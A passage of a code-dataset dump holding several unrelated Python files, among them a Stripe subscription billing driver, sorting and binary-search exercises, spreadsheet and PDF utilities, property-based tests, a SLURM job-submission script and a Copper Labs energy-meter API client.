False\n\n def is_canceled(self, plan_id):\n try:\n # get the plan\n subscription = self._get_subscription(plan_id)\n if subscription['cancel_at_period_end'] is True and subscription['status'] == 'active':\n return True\n except InvalidRequestError:\n return False\n\n return False\n\n def cancel(self, plan_id, now=False):\n subscription = stripe.Subscription.retrieve(plan_id)\n\n if subscription.delete(at_period_end= not now):\n return subscription\n return False\n\n def create_customer(self, description, token):\n return self._create_customer(description, token)\n\n def skip_trial(self):\n self._subscription_args.update({'trial_end': 'now'})\n return self\n\n def charge(self, amount, **kwargs):\n if not kwargs.get('currency'):\n kwargs.update({'currency': billing.DRIVERS['stripe']['currency']})\n\n charge = stripe.Charge.create(\n amount=amount,\n **kwargs\n )\n\n if charge['status'] == 'succeeded':\n return True\n else:\n return False\n\n def card(self, customer_id, token):\n stripe.Customer.modify(customer_id,\n source=token,\n )\n\n return True\n\n def swap(self, plan, new_plan, **kwargs):\n subscription = stripe.Subscription.retrieve(plan)\n subscription = stripe.Subscription.modify(plan,\n cancel_at_period_end=False,\n items=[{\n 'id': subscription['items']['data'][0].id,\n 'plan': new_plan,\n }]\n )\n return subscription\n\n def resume(self, plan_id):\n subscription = stripe.Subscription.retrieve(plan_id)\n stripe.Subscription.modify(plan_id,\n cancel_at_period_end = False,\n items=[{\n 'id': subscription['items']['data'][0].id\n }]\n )\n return True\n\n def plan(self, plan_id):\n subscription = self._get_subscription(plan_id)\n return subscription['plan']['name']\n\n\n def _create_customer(self, description, token):\n return stripe.Customer.create(\n description=description,\n source=token # obtained with Stripe.js\n )\n\n def _create_subscription(self, customer, **kwargs):\n if not isinstance(customer, str):\n customer = customer['id']\n\n for key, value in self._subscription_args.items():\n kwargs[key] = value\n\n subscription = stripe.Subscription.create(\n customer=customer,\n **kwargs\n )\n self._subscription_args = {}\n return subscription\n\n def _get_subscription(self, plan_id):\n return stripe.Subscription.retrieve(plan_id)\n","sub_path":"billing/drivers/BillingStripeDriver.py","file_name":"BillingStripeDriver.py","file_ext":"py","file_size_in_byte":4761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"99518016","text":"import time\r\nimport random\r\n\r\nstart = time.time()\r\n\r\ndef insertionSort(arr):\r\n k = 0\r\n n = len(arr) - 1\r\n comparisons = 0\r\n while k+1 <= n:\r\n i = k+1\r\n curr_val = arr[i]\r\n comparisons += 1\r\n while i>0 and arr[i-1] > curr_val:\r\n arr[i] = arr[i-1]\r\n i=i-1\r\n comparisons += 1\r\n arr[i] = curr_val\r\n k = k + 1\r\n return comparisons\r\n\r\nprint(\"For n = 1000: \\nRandom Generation of Array: \")\r\ny = 100\r\narr =[random.randint(1,1000) for x in range(y)]\r\nrandom.shuffle(arr)\r\nprint(\"Before Sort: \\n\", arr)\r\n\r\nprint(\"After Sort:\")\r\ninsertionSort(arr)\r\nend = time.time()\r\nprint(arr,\" \\nComparisions\", insertionSort(arr), \"\\nTime: \" , (end-start))\r\n","sub_path":"Insertion better.py","file_name":"Insertion better.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"318138951","text":"# -*- coding: utf-8 -*-\n\nimport dash_html_components as html\nimport datetime\nimport numpy as np\nimport math\n\n# Date d'aujourd'hui\najd = datetime.datetime.today().date()\n\n# Format d'affichage des montants\ndef format_montant(nb):\n return ['{:,.2f}'.format(x).replace(',', ' ') + ' €' if not math.isnan(x) else math.nan for x in nb]\n\n# Format d'affichage des pourcentages\ndef format_pct(pct):\n# return '{:.1f}'.format(100*pct)\n return ['{:.1f}'.format(100*x) + ' %' if not math.isnan(x) else math.nan for x in pct]\n\ndef generate_table(dataframe, max_rows=20):\n #Given dataframe, return template generated using Dash components\n return html.Table(\n # Header\n [html.Tr([html.Th(col) for col in dataframe.columns])] +\n\n # Body\n [html.Tr([\n html.Td(dataframe.iloc[i][col]) for col in dataframe.columns\n ]) for i in range(min(len(dataframe), max_rows))]\n )\n \ndef lastday_of_month(d):\n #Takes a datetime.date and returns the date for the last day in the same month.\n if d.month != 12:\n res = datetime.date(d.year, d.month+1, 1) - datetime.timedelta(1)\n else:\n res = datetime.date(d.year+1, 1, 1) - datetime.timedelta(1)\n return res\n\ndef AddMonths(d,x):\n # Ajoute x mois à la date d (x peut être négatif)\n newmonth = ((( d.month - 1) + x ) % 12 ) + 1\n newyear = d.year + ((( d.month - 1) + x ) // 12 )\n # Si le numéro du jour ne rentre pas dans le mois on prend le dernier jour du mois\n if d.day > lastday_of_month(datetime.date(newyear, newmonth, 1)).day:\n newday = lastday_of_month(datetime.date(newyear, newmonth, 1)).day\n else:\n newday = d.day\n return datetime.date( newyear, newmonth, newday)\n\n# Input : les valeurs sur lesquels segmenter dans un seul string\n# Output : les listes bins et labels adaptées pour regrouper une variable en classe\ndef creation_classes(segmentation):\n # Conversion du string fourni par l'utilisateur en liste d'entiers\n bins = [int(x) for x in segmentation.split(',')] + [np.inf]\n # Création des labels correspondants à la segmentation\n labels = list()\n for i in range(len(bins)-1): # On ne boucle pas sur le dernier élément de bins qui est +Infinite\n if bins[i+1] - bins[i] == 1:\n labels.append(str(bins[i]))\n elif bins[i+1] == np.inf:\n labels.append(str(bins[i]) + '+')\n else:\n labels.append(str(bins[i]) + '-' + str(bins[i+1]-1))\n \n out = [bins, labels]\n return out","sub_path":"utilitaires.py","file_name":"utilitaires.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"222871338","text":"import warnings\n\nfrom hypothesis import given\nfrom hypothesis.extra.numpy import arrays\nfrom hypothesis.errors import HypothesisDeprecationWarning\nimport hypothesis.strategies as st\nimport numpy\n\n\nfrom fragile.core.functions import calculate_clone, calculate_virtual_reward, fai_iteration\nfrom fragile.core.utils import NUMPY_IGNORE_WARNINGS_PARAMS\n\nwarnings.filterwarnings(\"ignore\", category=HypothesisDeprecationWarning)\n\n\n@given(st.integers(), st.integers())\ndef test_ints_are_commutative(x, y):\n assert x + y == y + x\n\n\nclass TestFaiNumpy:\n @given(\n arrays(numpy.float32, shape=(10, 3, 10)),\n arrays(numpy.float32, shape=10),\n arrays(numpy.bool, shape=(10, 1)),\n )\n def test_calculate_reward(self, observs, rewards, oobs):\n with numpy.errstate(**NUMPY_IGNORE_WARNINGS_PARAMS):\n virtual_reward, compas = calculate_virtual_reward(\n observs=observs, rewards=rewards, oobs=oobs\n )\n assert isinstance(virtual_reward, numpy.ndarray)\n assert len(virtual_reward.shape) == 1\n assert len(virtual_reward) == len(rewards)\n\n @given(arrays(numpy.float32, shape=13), arrays(numpy.bool, shape=13), st.floats(1e-7, 1))\n def test_calculate_clone(self, virtual_rewards, oobs, eps):\n with numpy.errstate(**NUMPY_IGNORE_WARNINGS_PARAMS):\n compas_ix, will_clone = calculate_clone(\n virtual_rewards=virtual_rewards, oobs=oobs, eps=eps\n )\n\n assert isinstance(compas_ix, numpy.ndarray)\n assert isinstance(will_clone, numpy.ndarray)\n\n assert len(compas_ix.shape) == 1\n assert len(will_clone.shape) == 1\n\n assert len(compas_ix) == len(virtual_rewards)\n assert len(will_clone) == len(virtual_rewards)\n\n assert isinstance(compas_ix[0], numpy.int64), type(compas_ix[0])\n assert isinstance(will_clone[0], numpy.bool_), type(will_clone[0])\n\n @given(\n arrays(numpy.float32, shape=(10, 3, 10)),\n arrays(numpy.float32, shape=10),\n arrays(numpy.bool, shape=10),\n )\n def test_fai_iteration(self, observs, rewards, oobs):\n with numpy.errstate(**NUMPY_IGNORE_WARNINGS_PARAMS):\n compas_ix, will_clone = fai_iteration(observs=observs, rewards=rewards, oobs=oobs)\n assert isinstance(compas_ix, numpy.ndarray)\n assert isinstance(will_clone, numpy.ndarray)\n\n assert len(compas_ix.shape) == 1\n assert len(will_clone.shape) == 1\n\n assert len(compas_ix) == len(rewards)\n assert len(will_clone) == len(rewards)\n\n assert isinstance(compas_ix[0], numpy.int64), type(compas_ix[0])\n assert isinstance(will_clone[0], numpy.bool_), type(will_clone[0])\n","sub_path":"tests/core/test_functions.py","file_name":"test_functions.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"618303426","text":"from xlrd import *\r\nfrom xlwt import *\r\nimport xlrd\r\nfrom xlutils.copy import copy\r\n\r\nprint(\"Bienvenue dans l'éditeur de tableaux excel.\")\r\nprint(\"Si le programme se ferme inopinément, c'est probablement dû à une erreur dans le nom du fichier, relancez le programme en vérifiant de bien taper le nom du fichier et que son extension est bien '.xls'\")\r\ntest = input('\\nEntrez le nom du ficher que vous souhaitez modifier:\\n')\r\n\r\nrb = open_workbook(test + \".xls\")\r\nwb = copy(rb)\r\nxlWorkbook = xlrd.open_workbook(\"./\" + test + \".xls\")\r\nprint(\"Ouverture du fichier\", test + \".xls\", \": OK\")\r\n\r\nstyle = XFStyle()\r\nstyle.num_format_str = '[h]:mm:ss'\r\n\r\ni = 0\r\nj = 1\r\nl = 0\r\nf = xlWorkbook.nsheets\r\ntotal = 0\r\ntotal2 = 0\r\nprint(\"Modification du fichier En cours...\")\r\nwhile (l < f):\r\n\ts = wb.get_sheet(l)\r\n\txlSheet = xlWorkbook.sheet_by_index(l)\r\n\tnx = xlSheet.nrows\r\n\tny = xlSheet.ncols\r\n\tl = l + 1\t\r\n\twhile (i < nx):\r\n\t\tn = 0\r\n\t\tn2 = 0\r\n\t\twhile(j < ny):\r\n\t\t\tcell = xlSheet.cell_value(i,j)\r\n\t\t\tif (cell == 'F'):\r\n n2 = n2 + 85\r\n\t\t\tif (cell == 1 and i % 2 == 1):\r\n\t\t\t\tn = n + 85\r\n\t\t\t\ts.write(i,j,\"1:05:00\", style)\r\n\t\t\tif (cell == 1 and i % 2 == 0):\r\n\t\t\t\tn = n + 85\r\n\t\t\t\ts.write(i,j,\"2:00:00\", style)\r\n\t\t\tj = j + 1\r\n\t\th = n // 60\r\n\t\tm = n % 60\r\n\t\th2 = (n + n2) // 60\r\n\t\tm2 = (n + n2) % 60\r\n\t\ttotal = total + n\r\n\t\ttotal2 = total + n2 + n\r\n\t\tif (h != 0 or m != 0):\r\n\t\t\ts.write(i,j, str(h) + \":\" + str(m) + \":00\", style)\r\n\t\tif (h2 != 0 or m2 != 0):\r\n\t\t\ts.write(i,j + 1, str(h2) + \":\" + str(m2) + \":00\", style)\r\n\t\telse:\r\n\t\t\ts.write(i,j, \"0:00:00\", style)\r\n\t\t\ts.write(i,j + 1, \"0:00:00\", style)\r\n\t\ttmp = j\r\n\t\tj = 1\r\n\t\ti = i + 1\r\n\th = total // 60\r\n\tm = total % 60\r\n\th2 = total2 // 60\r\n\tm2 = total2 % 60\r\n\ts.write(i,tmp, str(h) + \":\" + str(m) + \":00\", style)\r\n\ts.write(i,tmp + 1, str(h2) + \":\" + str(m2) + \":00\", style)\r\n\ttotal = 0\r\n\ti = 0\r\n\tj = 1\r\n\r\nprint(\"Modification du fichier Terminée\\nFichier édité avec succès.\")\r\nwb.save(test + \"_edit\" + \".xls\")\r\nprint(\"Sauvegarde du fichier OK\")\r\ninput(\"\\nAppuyez sur ENTRÉE pour quitter le programme !\")\r\n","sub_path":"lautre_pair.py","file_name":"lautre_pair.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"100269491","text":"import argparse\nimport logging\nimport os\n\nlogger = logging.getLogger()\n\neps = 10\n\n\ndef make_script(cur_path, tl, tp):\n f = open(os.path.join(cur_path, 'script_'+tp), 'w')\n f.write('#!/bin/bash\\n')\n params = \"#SBATCH -o {0}/dd%j.out\\n#SBATCH -e {0}/dd%j.err\\n\\n\".format(cur_path)\n f.write(params)\n command = 'python3 do_ilp_by_folder_name.py -fn=\"{}\" -tl={} -tp=\"{}\"'.format(cur_path, tl * 60, tp)\n f.write(command)\n f.close()\n return f\n\n\ndef submit(f, tl):\n os.system('chmod +x {}'.format(f.name))\n # print('sbatch -t {} {}'.format(tl*60 + eps, f.name))\n os.system('sbatch -t {} {}'.format(tl + eps, f.name))\n\n\ndef do(all=0, path=None, tl=10, tp='improved'):\n for cur_path, dirs, files in os.walk(path):\n if not 'A.txt' in files:\n continue\n if 'result.txt' in files:\n continue\n logging.info(\"Working with directory {0}\".format(cur_path))\n if tp != 'both':\n f = make_script(cur_path, tl, tp)\n submit(f, tl)\n else:\n f = make_script(cur_path, tl, \"improved\")\n submit(f, tl)\n f = make_script(cur_path, tl, \"basic\")\n submit(f, tl)\n\n if not all:\n return\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description=\"Submit jobs for ddp\")\n parser.add_argument(\"-fn\", \"--folder_name\", type=str, default=None,\n help=\"Folder with tests.\")\n parser.add_argument(\"-tl\", \"--time_limit\", type=int, default=10,\n help=\"Time limit for gurobi in minutes.\")\n parser.add_argument(\"-tp\", \"--type\", type=str, default='improved',\n help=\"ILP type: improved, basic or both\")\n\n param = parser.parse_args()\n\n path = param.folder_name\n tl = param.time_limit\n tp = param.type\n do(1, path, tl, tp)\n","sub_path":"tools/ddp/do_ilp_jobs.py","file_name":"do_ilp_jobs.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"168138854","text":"import re\n\nobjHeader = re.compile('\\d+ \\d+ obj')\nobjFooter = re.compile('endobj')\n\ndef bytes2str(bytes):\n output = ''\n for c in bytes:\n output = output+chr(c)\n return output\n\nf = open('p27.pdf','rb')\nprint(bytes2str(f.read(8)))\nstream = bytes2str(f.read())\n#objects = re.split('\\d+ \\d+ obj',stream)\n#objects = re.split('endobj',stream)\nheaders = re.findall(objHeader,stream)\nprint(str(len(headers))+' objects found')\nobjects = []\nfor header in headers:\n head = re.search(re.compile(header),stream)\n foot = objFooter.search(stream,head.end())\n refs = header.split(' ')\n objects.append((int(refs[0]),int(refs[1]),stream[head.end():foot.start()]))\nf.close() \n","sub_path":"readpdf.py","file_name":"readpdf.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"369338591","text":"# TO-DO: Implement a recursive implementation of binary search\ndef binary_search(arr, target, start, end):\n # Your code here \n if len(arr) == 0:\n return -1\n if len(arr) == 1 and arr[0] == target:\n return start\n if start == end and start != target:\n return -1\n\n # set up new search arr\n # search_arr = arr[start:end]\n # Select midpoint and compare midpoint to target\n midpoint = (end + start) // 2\n if arr[midpoint] == target:\n return midpoint\n # If midpoint is not target, perform recursion call using midpoint as new endpoint\n elif arr[midpoint] > target:\n return binary_search(arr, target, start, midpoint )\n else:\n return binary_search(arr, target, midpoint + 1, end)\n\n pass\n\n\n\n# STRETCH: implement an order-agnostic binary search\n# This version of binary search should correctly find \n# the target regardless of whether the input array is\n# sorted in ascending order or in descending order\n# You can implement this function either recursively \n# or iteratively\ndef agnostic_binary_search(arr, target):\n # Your code here\n if arr[0] < arr[len(arr)-1]:\n return binary_search(arr, target, 0, len(arr) - 1)\n else:\n transform = [i * -1 for i in arr] \n return binary_search(transform, target * -1, 0, len(transform) - 1)","sub_path":"src/searching/searching.py","file_name":"searching.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"490544493","text":"# Copyright 2019-2022 Copper Labs, Inc.\n#\n# copper-enterprise-client.py\n#\n# prerequisites:\n# pip install -r requirements.txt\n# export COPPER_CLIENT_ID, COPPER_CLIENT_SECRET, COPPER_ENTERPRISE_ID\n\nimport argparse\nimport csv\nfrom copper_cloud import CopperCloudClient\nfrom datetime import datetime, timedelta, date, time\nfrom dateutil import parser, tz\nfrom dateutil.relativedelta import relativedelta\nimport os\nfrom pprint import pformat, pprint\nimport pytz\nimport sys\nfrom texttable import Texttable\ntry:\n from urllib import urlencode\nexcept ImportError:\n from urllib.parse import urlencode\n\nDEFAULT_QUERY_LIMIT = 1000\nDEFAULT_WITH_HISTORY = 'true'\n\nclass CopperEnterpriseClient():\n DATETIME_FMT = \"%Y-%m-%dT%H:%M:%SZ\"\n DATE_FMT = \"%Y-%m-%d\"\n HELP_DATE_FMT = \"%%Y-%%m-%%d\"\n METER_TYPE_UOM = {\n \"power\": \"kwh\",\n \"power_net\": \"kwh\",\n \"power_gen\": \"kwh\",\n \"power_sub\": \"kwh\",\n \"gas\": \"ccf\",\n \"water\": \"gal\",\n \"water_indoor\": \"gal\",\n \"water_outdoor\": \"gal\",\n }\n\n def __init__(self):\n self.parse_args()\n # Walk through user login (authorization, access_token grant, etc.)\n self.cloud_client = CopperCloudClient(self.args, self._make_next_url(\"bulk\", limit=1))\n\n def create_and_print_table(self, title, header, rows, dtypes):\n table = Texttable(max_width=0)\n table.set_deco(Texttable.HEADER)\n table.set_cols_dtype(dtypes)\n row_align = [\"l\"] * len(header)\n row_align[-1] = \"r\"\n table.set_header_align(row_align)\n table.set_cols_align(row_align)\n table.add_rows(rows)\n print(\"\\n{title} (rows={num}):\".format(title=title, num=len(rows) - 1))\n print (table.draw() + \"\\n\")\n\n def run(self):\n if self.args.output_dir and not os.path.exists(self.args.output_dir):\n os.makedirs(self.args.output_dir) \n output_file = None\n if self.args.csv_output_file:\n output_file = self.args.csv_output_file\n if self.args.output_dir:\n output_file = os.path.join(self.args.output_dir, output_file)\n dirname = os.path.dirname(output_file)\n if dirname and not os.path.exists(dirname):\n os.makedirs(dirname) \n\n title, header, rows, dtypes = self.args.func(self)\n rows.insert(0, header)\n\n if not self.args.quiet:\n self.create_and_print_table(title, header, rows, dtypes)\n\n if output_file:\n self.write_csvfile(output_file, rows, mode=\"w\")\n\n def _make_next_url(self, endpoint, limit=DEFAULT_QUERY_LIMIT):\n limit_str = \"?limit={}\".format(limit) if limit != DEFAULT_QUERY_LIMIT else \"\"\n return \"{url}/partner/{id}/{endpoint}{limit_str}\".format(\n url=CopperCloudClient.API_URL,\n id=self.args.enterprise_id,\n endpoint=endpoint,\n limit_str=limit_str,\n )\n\n def _make_element_url(self, endpoint, limit=DEFAULT_QUERY_LIMIT, offset=0, with_history=DEFAULT_WITH_HISTORY):\n query_params = {}\n if offset:\n query_params[\"offset\"] = offset\n if limit != DEFAULT_QUERY_LIMIT:\n query_params[\"limit\"] = limit\n if with_history != DEFAULT_WITH_HISTORY:\n query_params[\"with_history\"] = with_history\n return \"{url}/partner/{id}/{endpoint}{qstr}\".format(\n url=CopperCloudClient.API_URL,\n id=self.args.enterprise_id,\n endpoint=endpoint,\n qstr=\"?{}\".format(urlencode(query_params)) if len(list(query_params)) else \"\"\n )\n\n def tick(self, char=\".\"):\n sys.stdout.write(char)\n sys.stdout.flush()\n\n def write_csvfile(self, output_file, rows, mode=\"w\"):\n with open(output_file, mode) as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(rows)\n\n def _get_all_elements_next(self, endpoint):\n elements = []\n more_elements = True\n next_url = self._make_next_url(endpoint)\n try:\n while more_elements:\n resp = self.cloud_client.get_helper(next_url)\n elements += resp[\"results\"]\n more_elements = resp.get(\"next\", None)\n if more_elements:\n next_url = \"{url}{uri}\".format(\n url=CopperCloudClient.BASE_API_URL, uri=resp[\"next\"]\n )\n except Exception as err:\n print (\"\\nGET error:\\n\" + pformat(err))\n return elements\n\n def _get_all_elements(self, endpoint, with_history=DEFAULT_WITH_HISTORY):\n elements = []\n more_elements = True\n limit=DEFAULT_QUERY_LIMIT\n offset=0\n next_url = self._make_element_url(endpoint, limit=limit, offset=offset, with_history=with_history)\n try:\n while more_elements:\n resp = self.cloud_client.get_helper(next_url)\n elements += resp\n more_elements = (len(resp) == limit)\n if more_elements:\n offset += limit\n next_url = self._make_element_url(endpoint, limit=limit, offset=offset, with_history=with_history)\n except Exception as err:\n raise Exception(\"\\nGET error:\\n\" + pformat(err))\n return elements\n\n def _daterange(self, start, end, step=1):\n return (start + timedelta(days=i) for i in range(0, (end - start).days + 1, step))\n\n def _get_meter_usage(self, meter_id, start, end, granularity, meter_created_at=None, step=1, timezone=None):\n timezone = getattr(self.args, \"timezone\", timezone)\n if timezone:\n location = {\"timezone\": timezone}\n else:\n url = \"{url}/partner/{eid}/meter/{mid}/location\".format(\n url=CopperCloudClient.API_URL,\n mid=meter_id,\n eid=self.args.enterprise_id,\n )\n location = self.cloud_client.get_helper(url)\n tz = pytz.timezone(location[\"timezone\"])\n start = parser.parse(start)\n end = parser.parse(end)\n offset = int(tz.localize(start).strftime(\"%z\")[:-2])\n utc_start = datetime.combine(start, time()) - timedelta(hours=offset)\n utc_end = datetime.combine(end, time()) - timedelta(hours=offset)\n usage = None\n meter_created = parser.parse(meter_created_at).astimezone(tz).replace(tzinfo=None) if meter_created_at else None\n if meter_created and utc_start < meter_created:\n start = meter_created\n for d in self._daterange(start, end, step):\n self.tick()\n istart = datetime.combine(d, time()) - timedelta(hours=offset)\n iend = istart + timedelta(days=step)\n if iend > utc_end:\n iend = utc_end\n if meter_created and iend < meter_created:\n if self.args.debug:\n print(\"skipping meter {} which does not exist on {}\".format(meter_id, d))\n continue\n url = \"{url}/partner/{eid}/meter/{mid}/usage?{qstr}\".format(\n url=CopperCloudClient.API_URL,\n eid=self.args.enterprise_id,\n mid=meter_id,\n qstr=urlencode(\n {\n \"granularity\": granularity,\n \"start\": istart.strftime(CopperEnterpriseClient.DATETIME_FMT),\n \"end\": iend.strftime(CopperEnterpriseClient.DATETIME_FMT),\n }\n ),\n )\n try:\n data = self.cloud_client.get_helper(url)\n if not usage:\n usage = {\n \"meter_id\": data[\"meter_id\"],\n \"meter_type\": data[\"meter_type\"],\n \"sum_usage\": data[\"sum_usage\"],\n \"results\": data[\"results\"],\n \"tz_offset\": offset,\n \"tz\": location[\"timezone\"]\n }\n else:\n usage[\"sum_usage\"] += data[\"sum_usage\"]\n if (len(data[\"results\"]) and\n d != end and\n usage[\"results\"][-1][\"time\"] == data[\"results\"][0][\"time\"]):\n del usage[\"results\"][-1]\n usage[\"results\"] += data[\"results\"]\n\n except Exception as err:\n print(\"GET ERROR: {}\".format(pformat(err)))\n return usage\n\n def _get_meter_generic(self, meter, start, end, granularity, step=1, timezone=None, endpoint='usage'):\n timezone = getattr(self.args, \"timezone\", timezone)\n if timezone:\n location = {\"timezone\": timezone}\n else:\n url = \"{url}/partner/{eid}/meter/{mid}/location\".format(\n url=CopperCloudClient.API_URL,\n mid=meter['id'],\n eid=self.args.enterprise_id,\n )\n location = self.cloud_client.get_helper(url)\n tz = pytz.timezone(location[\"timezone\"])\n start = parser.parse(start)\n end = parser.parse(end)\n offset = int(tz.localize(start).strftime(\"%z\")[:-2])\n utc_start = datetime.combine(start, time()) - timedelta(hours=offset)\n utc_end = datetime.combine(end, time()) - timedelta(hours=offset)\n usage = None\n meter_created = parser.parse(meter['created_at']).astimezone(tz).replace(tzinfo=None) if meter['created_at'] else None\n if meter_created and utc_start < meter_created:\n start = meter_created\n for d in self._daterange(start, end, step):\n self.tick()\n istart = datetime.combine(d, time()) - timedelta(hours=offset)\n iend = istart + timedelta(days=step)\n if iend > utc_end:\n iend = utc_end\n if meter_created and iend < meter_created:\n if self.args.debug:\n print(\"skipping meter {} which does not exist on {}\".format(meter['id'], d))\n continue\n url = \"{url}/partner/{eid}/meter/{mid}/{endpoint}?{qstr}\".format(\n url=CopperCloudClient.API_URL,\n eid=self.args.enterprise_id,\n mid=meter['id'],\n endpoint=endpoint,\n qstr=urlencode(\n {\n \"granularity\": granularity,\n \"start\": istart.strftime(CopperEnterpriseClient.DATETIME_FMT),\n \"end\": iend.strftime(CopperEnterpriseClient.DATETIME_FMT),\n }\n ),\n )\n try:\n data = self.cloud_client.get_helper(url)\n sum_energy = data[\"sum_usage\"] if 'sum_usage' in data.keys() else data['sum_energy']\n sum_energy = sum_energy if sum_energy else 0\n results = data[\"results\"] if 'results' in data.keys() else data['series']\n results = results if results else []\n if not usage:\n usage = {\n \"meter_id\": meter['id'],\n \"meter_type\": meter['type'],\n \"sum_energy\": sum_energy,\n \"results\": results,\n \"tz_offset\": offset,\n \"tz\": location[\"timezone\"]\n }\n else:\n usage[\"sum_energy\"] += sum_energy\n if (len(results) and\n d != end and\n usage[\"results\"][-1][\"time\"] == results[0][\"time\"]):\n del usage[\"results\"][-1]\n usage[\"results\"] += results\n\n except Exception as err:\n print(\"GET ERROR: {}\".format(pformat(err)))\n return usage\n\n def _get_meter_readings(self, meter_id, start, end, granularity, meter_created_at=None):\n if getattr(self.args, \"timezone\", None):\n location = {\"timezone\": self.args.timezone}\n else:\n url = \"{url}/partner/{eid}/meter/{mid}/location\".format(\n url=CopperCloudClient.API_URL,\n mid=meter_id,\n eid=self.args.enterprise_id,\n )\n location = self.cloud_client.get_helper(url)\n tz = pytz.timezone(location[\"timezone\"])\n start = parser.parse(start)\n end = parser.parse(end)\n offset = int(tz.localize(start).strftime(\"%z\")[:-2])\n readings = None\n meter_created = parser.parse(meter_created_at).astimezone(tz).replace(tzinfo=None) if meter_created_at else None\n for d in self._daterange(start, end):\n self.tick()\n istart = datetime.combine(d, time()) - timedelta(hours=offset)\n iend = istart + timedelta(days=1)\n if meter_created and istart < meter_created:\n if self.args.debug:\n print(\"skipping meter {} which does not exist on {}\".format(meter_id, d))\n continue\n url = \"{url}/partner/{eid}/meter/{mid}/readings?{qstr}\".format(\n url=CopperCloudClient.API_URL,\n eid=self.args.enterprise_id,\n mid=meter_id,\n qstr=urlencode({\n \"start\": istart.strftime(CopperEnterpriseClient.DATETIME_FMT),\n \"end\": iend.strftime(CopperEnterpriseClient.DATETIME_FMT),\n }),\n )\n try:\n data = self.cloud_client.get_helper(url)\n data[\"results\"] = sorted(data[\"results\"], key=lambda x:x[\"time\"])\n if not readings:\n readings = data\n else:\n readings[\"results\"] += data[\"results\"]\n\n except Exception as err:\n print(\"GET ERROR: {}\".format(pformat(err)))\n break\n return readings\n\n def get_bulk_data(self):\n title = \"Bulk meter download\"\n if self.args.detailed:\n header = [\n \"ID\",\n \"Type\",\n \"Address\",\n \"City\",\n \"Postal Code\",\n \"Latest Timestamp\",\n \"Latest Value\",\n ]\n else:\n header = [\"ID\", \"Type\", \"Latest Timestamp\", \"Latest Value\"]\n bulk_meters = self._get_all_elements_next(\"bulk\")\n meters = {}\n premises = {}\n if self.args.detailed:\n meters = {meter[\"id\"]: meter for meter in self._get_all_elements(\"meter\")}\n premises = {premise[\"id\"]: premise for premise in self._get_all_elements(\"premise\")}\n rows = []\n print (\n \"Building information for {num} meters on {now}...\".format(\n num=len(bulk_meters), now=datetime.now().strftime(\"%c\")\n )\n )\n for meter in bulk_meters:\n self.tick()\n meter_value = format(meter[\"value\"], \".3f\")\n timestamp_utc = parser.parse(meter[\"timestamp\"])\n if self.args.detailed:\n rows.append(\n [\n meter[\"meter_id\"],\n meter[\"meter_type\"],\n premises[meters[meter[\"meter_id\"]][\"premise_id\"]][\"street_address\"],\n premises[meters[meter[\"meter_id\"]][\"premise_id\"]][\"city_town\"],\n premises[meters[meter[\"meter_id\"]][\"premise_id\"]][\"postal_code\"].rjust(5, \"0\"),\n timestamp_utc.astimezone(tz.tzlocal()),\n meter_value,\n ]\n )\n dtypes = [\"t\", \"t\", \"t\", \"t\", \"t\", \"a\", \"t\"]\n else:\n rows.append(\n [\n meter[\"meter_id\"],\n meter[\"meter_type\"],\n timestamp_utc.astimezone(tz.tzlocal()),\n meter_value,\n ]\n )\n dtypes = [\"t\", \"t\", \"a\", \"t\"]\n return title, header, rows, dtypes\n\n def get_meter_data(self):\n title = \"Meter download\"\n if self.args.detailed:\n header = [\n \"ID\",\n \"Type\",\n \"Address\",\n \"City\",\n \"Postal Code\",\n \"Latest Timestamp\",\n \"Latest Value\",\n ]\n else:\n header = [\"ID\", \"Type\", \"Latest Timestamp\", \"Latest Value\"]\n meters = self._get_all_elements(\"meter\")\n premises = {}\n if self.args.detailed:\n premises = {premise[\"id\"]: premise for premise in self._get_all_elements(\"premise\")}\n rows = []\n print (\n \"Building information for {num} meters on {now}...\".format(\n num=len(meters), now=datetime.now().strftime(\"%c\")\n )\n )\n for meter in meters:\n self.tick()\n last = meter.get(\"last_reading\")\n meter_value = None\n timestamp = None\n if last:\n value = last.get(\"value\")\n meter_value = format(value, \".3f\")\n timestamp_utc = parser.parse(last.get(\"hw_timestamp\"))\n timestamp = timestamp_utc.astimezone(tz.tzlocal())\n if self.args.detailed:\n rows.append(\n [\n meter[\"id\"],\n meter[\"type\"],\n premises[meter[\"premise_id\"]][\"street_address\"],\n premises[meter[\"premise_id\"]][\"city_town\"],\n premises[meter[\"premise_id\"]][\"postal_code\"].rjust(5, \"0\"),\n timestamp,\n meter_value,\n ]\n )\n dtypes = [\"t\", \"t\", \"t\", \"t\", \"t\", \"a\", \"t\"]\n else:\n rows.append(\n [\n meter[\"id\"],\n meter[\"type\"],\n timestamp,\n meter_value,\n ]\n )\n dtypes = [\"t\", \"t\", \"a\", \"t\"]\n return title, header, rows, dtypes\n\n def get_prem_data(self):\n title = \"Premise download\"\n header = [\n \"ID\",\n \"Created\",\n \"Address\",\n \"Suite/Apt\",\n \"City\",\n \"Postal Code\",\n \"County\",\n \"State\",\n \"Tags\",\n \"Email\",\n ]\n query_params = {}\n if self.args.with_users:\n query_params[\"with_users\"] = True\n url = \"{url}/partner/{id}/premise{qstr}\".format(\n url=CopperCloudClient.API_URL,\n id=self.args.enterprise_id,\n qstr=\"?{}\".format(urlencode(query_params)) if len(list(query_params)) else \"\"\n )\n prems = self.cloud_client.get_helper(url)\n prems = sorted(prems, key=lambda x:x[\"created_at\"])\n rows = 